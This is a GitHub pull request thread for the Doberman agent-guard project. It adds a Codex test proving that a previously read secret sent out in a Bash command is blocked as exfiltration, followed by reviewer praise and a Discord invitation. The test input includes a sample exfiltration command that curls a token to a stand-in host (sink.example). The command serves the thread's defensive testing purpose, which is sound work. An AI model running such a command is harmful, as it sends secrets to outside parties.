Originally created by: blackcoderx
Adds the Codex sibling of tests/unit/test_hosthook_exfil_fingerprint.py::test_read_then_send_same_secret_is_confirmed_block_in_balanced,
proving that a secret read into a session earlier that later appears verbatim
in an outbound Codex Bash command is a confirmed read-then-send exfil and
hard-blocks. No production code changes — the confirmatory match
(engine.taint_floor._outbound_matches_recorded_secret →
storage.taint.match_secret_fingerprint) already runs on every host through
the shared hosthooks.spine.evaluate_action, which codex.evaluate_pre uses
just like Claude Code's evaluate_pre does; the gap was test coverage on
this host only.
Codex has no PostToolUse hook of its own (confirmed: src/doberman/hosthooks/codex.py
only exposes evaluate_pre/run_codex_pre), so the "read" step in the new
test reuses claude_code.evaluate_post — the fingerprint store is
session/entity-scoped, not host-specific (already proven cross-session in
test_confirmed_exfil_matches_cross_session_via_entity_scope). What this
test proves that's genuinely Codex-specific is the consuming side: Codex's
own evaluate_pre, through the shared spine, correctly looks up and honors
a fingerprint recorded earlier — not just Claude Code's.
docs/PARITY.md is regenerated (python -m tools.parity.generate_parity) so
the Codex cell for "An outbound value matching a read secret is blocked"
moves from ◻ to ✅, linking to the new test. No other cell changes (the
Codex auth-action-bound cell from [#331]/PR [#390] correctly does not appear
here — that PR hasn't merged into main yet, and this branch was cut from
current main, not from that branch).
tests/unit/test_hosthook_codex.py::test_read_then_send_same_secret_is_confirmed_block@pytest.mark.guarantee("read-vs-send-fingerprint-block", host="codex").claude_code.evaluate_postRead whose output carries the token), then sends the same token backBash command (curl https://sink.example/?d=<token>) viacodex.evaluate_pre, and asserts a confirmed_exfil BLOCK with the tokenMutation-checked: temporarily forced _outbound_matches_recorded_secret
in src/doberman/engine/taint_floor.py to return False right after the
"nothing secret-shaped outbound" guard, and confirmed this new test goes red
— it falls back to the weaker AUTH-tier high-entropy-token path instead of
the confirmed BLOCK; reverted before committing.
pytest -n auto --cov=doberman --cov-fail-under=80test_real_plugin_install_discovery.py::test_installed_plugin_is_discovered_and_fires_despite_pip_target)main in this sandbox, unrelated to thisWritten with AI assistance (Claude Code) as a guided contribution walkthrough;
all commands were run and verified locally before pushing.
Ticket changed by: fu351
Originally posted by: fu351
Merged — this is exactly how a parity cell should be proven. The call that makes this PR is the read-step design: recognizing the fingerprint store is entity-scoped rather than host-scoped, and reusing
claude_code.evaluate_postfor the read instead of inventing a Codex post hook that doesn't exist. That keeps the test honest about what's Codex-specific — the consuming side throughevaluate_pre— and your PR body explains that reasoning better than most production docstrings. The written-up mutation check is the cherry on top.One thing landed on your branch from my side, disclosed in full:
mainmoved under you while this was open (#390 added its own test and imports totest_hosthook_codex.py, and [#395] touched the parity matrix), so I pushed a merge commit (e96cc99) rather than asking you for a rebase — union of the two import blocks, then regenerateddocs/PARITY.md. No force-push, so your local branch still fast-forwards cleanly. Your test itself is untouched.I also re-ran your mutation check independently before merging: neutered
_outbound_matches_recorded_secretand watched the test go red on the weaker AUTH-tier fallback, exactly as you described. Reverted, 25/25 green.Next one's still yours if you want it: #334 (
level-4) — the two remaining Codex parity cells, AUTH deadline auto-deny and timeout-logged-distinctly-from-refusal. It's a step up from this one because the deadline path needs a fake clock, and you've now got the codex fixture patterns down cold.Related
Tickets:
#395Originally posted by: fu351
@blackcoderx The read-vs-send parity cell on Codex was a great close. If you feel like another, [#408] (the AN-1 gitignored-delete cell on Codex) just opened and is cut from the same cloth.
Quick community roll-call: are you in the Doberman Discord? If yes, drop your handle here (or DM me there) so I can match the GitHub side of your work to your Discord name. If not, you're warmly invited: https://discord.gg/Sfy5XGNqty
Related
Tickets: #408
Originally posted by: blackcoderx
@fu351 My handle on discord is .x.black. (the last full stop is part of it). I have joined the Doberman Discord.